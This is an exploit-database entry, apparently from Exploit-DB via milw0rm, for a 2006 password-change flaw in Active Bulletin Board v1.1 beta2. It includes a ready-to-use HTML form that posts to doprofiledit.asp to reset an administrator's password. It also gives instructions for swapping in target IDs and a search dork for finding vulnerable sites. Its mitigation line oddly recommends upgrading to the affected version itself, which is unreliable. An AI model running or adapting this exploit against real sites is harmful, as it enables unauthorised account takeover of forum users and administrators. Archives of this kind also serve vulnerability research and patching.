Active Bulletin Board v1.1 beta2 (doprofiledit.asp) Remote User Pass Change Exploit

vendor:

Active Bulletin Board

by:

ajann

7,5

CVSS

HIGH

Remote User Pass Change Exploit

N/A

CWE

Product Name: Active Bulletin Board

Affected Version From: v1.1 beta2

Affected Version To: v1.1 beta2

Patch Exists: YES

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2006

Active Bulletin Board v1.1 beta2 (doprofiledit.asp) Remote User Pass Change Exploit

This exploit allows a remote attacker to change the password of a user on a vulnerable Active Bulletin Board v1.1 beta2 system. The attacker can send a specially crafted POST request to the doprofiledit.asp script, which contains the new password for the user. The exploit requires the ID and UsrName of the user to be known, which can be obtained from the admin.asp page.

Mitigation:

Upgrade to the latest version of Active Bulletin Board v1.1 beta2

Source

Exploit-DB raw data:

<!--
# Title  :   Active Bulletin Board v1.1 beta2 (doprofiledit.asp) Remote User Pass Change Exploit
# Author :   ajann
# Dork   :   "Forum Active Bulletin Board version 1.1 béta 2"
# Greetz :   Ramazan'iniz,Mübarek,Olsun,Tüm,Müslüman,Alemi|Geç,Oldu,Biraz :)

[Code]]]
-->
<html>
<body bgcolor="#000000">
<form method="POST" action="http://www.somesite.com/forum/doprofiledit.asp"><p><b>
<font color="#FF0000" face="Verdana" size="2">Email: </font></b>
<input type="text" name="Email" size="30" value="ajann@ajann.com"><br>
<font face="Verdana" size="2"><b><font color="#FF0000">Password:</font>:</b></font>
<input type="text" name="Passe" size="30" value="123456"> <br>
<input type="submit" value="Submit" name="Envoyer">
<input type="reset" value="Cancel" name="Effacer">
<input type="hidden" name="Id" value="42">
<input type="hidden" name="Nom" value="Administrateur"></p>
</form>
</body>
</html>

<!--
[/Code]]]

Change: <input type="hidden" name="Id" value="42"> => ID
Change: <input type="hidden" name="Nom" value="Administrateur"> => UsrName

Next to admin.asp

#ajann,Turkey
#...

#Im Not Hacker!
-->

# milw0rm.com [2006-10-18]